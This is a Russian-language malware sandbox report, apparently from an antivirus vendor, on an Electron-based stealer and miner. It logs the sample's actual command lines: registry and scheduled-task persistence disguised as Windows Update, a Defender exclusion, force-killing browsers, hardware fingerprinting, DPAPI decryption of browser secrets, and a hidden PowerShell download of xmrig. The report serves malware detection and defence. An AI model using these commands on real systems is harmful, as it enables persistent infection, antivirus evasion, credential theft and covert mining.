Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdateSystem' = 'wscript.exe "%TEMP%\sys_runner.vbs"'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\updateassistant\updatecheck
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp'"
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM msedge_proxy.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM browser.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM chromium.exe /T
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
следующие пользовательские процессы:
- firefox.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nsn82e8.tmp\system.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\license.electron.txt
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\chrome_100_percent.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\chrome_200_percent.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\d3dcompiler_47.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\ffmpeg.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\icudtl.dat
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\libegl.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\libglesv2.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\snapshot_blob.bin
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\v8_context_snapshot.bin
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\vk_swiftshader.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\vk_swiftshader_icd.json
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\vulkan-1.dll
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\locales\en-us.pak
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\21ce1c20f11ab5e4.jsc
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\license
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\package.json
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\lib\cli.js
- %TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\resources\app.asar.unpacked\node_modules\bytenode\lib\index.js
- %TEMP%\nsn82e8.tmp\stdutils.dll
- nul
- %TEMP%\app_rt_motq1dr7\3705c98c-4951-40b0-8f28-3bac1f19b82f.tmp
- %TEMP%\sys_runner.vbs
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\sys_runner.vbs
Перемещает следующие файлы
- %TEMP%\app_rt_motq1dr7\3705c98c-4951-40b0-8f28-3bac1f19b82f.tmp в %TEMP%\app_rt_motq1dr7\local state
Сетевая активность
Подключается к
- 'dn#.google':443
- 'ip##pi.com':80
- 'di##ord.com':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'x1.#.lencr.org':80
TCP
Запросы HTTP GET
- /json/?fi############################## via ip##pi.com
- http://x1.#.lencr.org/
Другие
- 'dn#.google':443
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
UDP
- DNS ASK dn#.google
- DNS ASK ip##pi.com
- DNS ASK di##ord.com
- DNS ASK gi##ub.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK x1.#.lencr.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe'
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe' --type=gpu-process --no-sandbox --user-data-dir="%TEMP%\app_rt_motq1dr7" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAA...
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="%TEMP%\app_rt_motq1dr7" --mojo-platform-channel-handle=1664...
- '%TEMP%\3i9eku5chyf1pjiq37z4ir4gnee\blindleeapp.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="%TEMP%\app_rt_motq1dr7" --mojo-platform-channel-handle=2456...
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name /value" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic nic get name,MACAddress /format:csv" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FI "IMAGENAME eq WinUpdateBroker.exe"" (со скрытым окном)
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name /value
- '<SYSTEM32>\wbem\wmic.exe' nic get name,MACAddress /format:csv
- '<SYSTEM32>\tasklist.exe' /FI "IMAGENAME eq WinUpdateBroker.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name"" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name"
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "%TEMP%\sys_runner.vbs"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateSystem" /t REG_SZ /d "wscript.exe \"%TEMP%\sys_runner.vbs\"" /f" (со скрытым окном)
- '<SYSTEM32>\attrib.exe' +h +s "%TEMP%\sys_runner.vbs"
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdateSystem" /t REG_SZ /d "wscript.exe \"%TEMP%\sys_runner.vbs\"" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "Microsoft\Windows\UpdateAssistant\UpdateCheck" /tr "wscript.exe \"%TEMP%\sys_runner.vbs\"" /sc onlogon /rl highest /f" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /tn "Microsoft\Windows\UpdateAssistant\UpdateCheck" /tr "wscript.exe \"%TEMP%\sys_runner.vbs\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Temp'"" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -WindowStyle Hidden -command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip' -OutFile '%TEMP%\update_cache.zip... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip' -OutFile '%TEMP%\update_cache.zip'; Expand-Archive -Fo...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command " Add-Type -AssemblyName System.Security; $encBytes = [Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAA... (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command " Add-Type -AssemblyName System.Security; $encBytes = [Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAAAAKAAAARQBkAGcAZQAAAB...
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM msedge_proxy.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM firefox.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM browser.exe /T (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /F /IM chromium.exe /T (со скрытым окном)
